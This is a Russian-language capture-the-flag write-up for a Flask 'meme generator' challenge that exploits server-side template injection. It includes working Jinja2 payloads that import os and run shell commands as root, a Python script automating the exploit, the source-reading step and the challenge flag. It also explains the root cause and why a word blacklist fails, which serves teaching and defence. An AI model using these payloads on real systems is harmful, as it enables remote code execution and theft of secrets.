Skip to main content

Mem generator: writeup

Ссылка на задание http://f8tasks.ru/challenges#Mem%20generator-7

Mem generator

CategoryWeb
DifficultyMedium
VulnerabilitySSTI (Jinja2 / Flask)
Flagflag{e4rth_4nd_ch1k1b4mb0ni}

Recon

Стив вышел на прогулку и увидел ЭТО. Что же он увидел. Адрес: wsr.gmax.pro:33701.

Артефакты: живой HTTP-сервис; вместе с условием выданы API-ключ и пример запроса.

curl -i -s http://wsr.gmax.pro:33701/

Ключевые наблюдения:

  • Server: Werkzeug/0.15.5 Python/3.7.12 — Python/Flask на сервере.
  • Форма POST / с полем meme_text и чекбоксом rzhaka_maximum.
  • Статика: /static/meme.png, /static/main.css, /static/font.ttf.
  • В условии уже присутствует пример с {{7*7}} — классическая SSTI-проверка для Jinja2.

Обычный POST отражает ввод обратно в HTML:

curl -s -X POST http://wsr.gmax.pro:33701/ -d 'meme_text=test'
# <div class="meme">test</div>

Ввод отражён. Следующий вопрос: как именно — как текст, как HTML или как шаблон?

API-ключ добавляет только <script src="/static/rzhaka.js"></script> и визуальный эффект. К флагу он отношения не имеет.


Server-Side Template Injection

SSTI (Server-Side Template Injection) — уязвимость, при которой пользовательский ввод попадает в шаблонизатор и исполняется как код, а не отображается как текст.

Стандартная проверка:

{{7*7}}

Если сервер вернёт 49 вместо строки {{7*7}} — ввод исполняется шаблонизатором.

Ручная проверка:

curl -s -X POST http://wsr.gmax.pro:33701/ -d 'meme_text={{7*7}}'
# <div class="meme">49</div>

49 — SSTI подтверждена. Сервер вычислил 7*7, а не вернул строку.

Таблица интерпретации ответа на {{7*7}}:

ОтветВывод
{{7*7}}Шаблон не исполняется
49SSTI подтверждена
Ошибка шаблонизатораSSTI есть, payload сломал рендер
Пустой ответ / 500Возможно есть, нужен другой payload

Exploitation

В Flask объект request доступен в каждом шаблоне. Через него можно дотянуться до глобального пространства Python — и из него импортировать модуль os.

Цепочка эскалации:

{{request}}                             — объект Flask Request
{{request.application}}                 — Flask-приложение
{{request.application.__globals__}}     — глобальные объекты Python
{{....__builtins__.__import__("os")}}   — модуль os
{{....popen("id").read()}}              — выполнение команды

Прямой путь через {{config}} заблокирован сервером (Ваш мем содержит запрещенную мнемонику 😳) — это наивный blacklist на слово config. Он не закрывает атаку: request в чёрный список не внесён.

ШагPayloadРезультат
1{{7*7}}49 — SSTI подтверждена
2{{request.application.__globals__.__builtins__.__import__("os").popen("id").read()}}uid=0(root) gid=0(root) — RCE
3{{...popen("sed -n \"1,220p\" /app/app.py").read()}}исходник app.py
4app.config['SECRET_KEY'] = 'flag{e4rth_4nd_ch1k1b4mb0ni}'

Root cause — строка в app.py:

render_template_string('<div class="meme">%s</div>' % text)

text вставляется в строку шаблона через %s, после чего Jinja2 её исполняет. Безопасный вариант — передавать text как переменную в статический шаблонный файл: тогда Jinja2 экранирует его и не исполняет.


Automation

from __future__ import annotations

import html
import re
from dataclasses import dataclass

import requests


URL = "http://wsr.gmax.pro:33701/"


@dataclass
class StepResult:
    name: str
    payload: str
    output: str


def send(payload: str) -> str:
    response = requests.post(URL, data={"meme_text": payload}, timeout=20)
    response.raise_for_status()
    return response.text


def extract_meme(html_text: str) -> str:
    # извлекаем только содержимое <div class="meme">...</div>
    match = re.search(r'<div class="meme">(.*?)</div>', html_text, re.S)
    if not match:
        return html_text.strip()
    return html.unescape(match.group(1)).strip()


def run_step(name: str, payload: str) -> StepResult:
    response = send(payload)
    return StepResult(name=name, payload=payload, output=extract_meme(response))


def main() -> None:
    steps = [
        run_step("SSTI check", "{{7*7}}"),
        run_step(
            "RCE check",
            '{{request.application.__globals__.__builtins__.__import__("os").popen("id").read()}}',
        ),
        run_step(
            "Read app.py",
            '{{request.application.__globals__.__builtins__.__import__("os").popen("sed -n \\\"1,220p\\\" /app/app.py").read()}}',
        ),
    ]

    for step in steps:
        print(f"=== {step.name} ===")
        print(f"Payload: {step.payload}")
        print(step.output)
        print()

    # ищем флаг в выводе последнего шага
    flag_match = re.search(r"flag\{[^}]+\}", steps[-1].output)
    if flag_match:
        print(f"FLAG: {flag_match.group(0)}")
    else:
        print("FLAG: not found")


if __name__ == "__main__":
    main()
python3 solve.py

Ожидаемый вывод:

=== SSTI check ===
Payload: {{7*7}}
49

=== RCE check ===
Payload: {{request.application.__globals__.__builtins__.__import__("os").popen("id").read()}}
uid=0(root) gid=0(root) groups=0(root),...

=== Read app.py ===
...

FLAG: flag{e4rth_4nd_ch1k1b4mb0ni}

Key Takeaways

  1. SSTI. Если сервер исполняет пользовательский ввод как шаблон, злоумышленник может выйти к Python-объектам и выполнить произвольный код. Проверка — payload {{7*7}}: вернулось 49 вместо строки, значит шаблонизатор работает на вашем вводе.

  2. Blacklist не защищает. Запрет одного слова (config) не закрывает SSTI — есть десятки других путей к тем же объектам. Единственная надёжная защита — не передавать пользовательский ввод в render_template_string.

  3. Payload ladder. Эксплуатацию строят ступенями: подтверждение SSTI → доступ к Python-объектам → RCE → чтение кода → флаг. Каждый шаг доказывает следующий.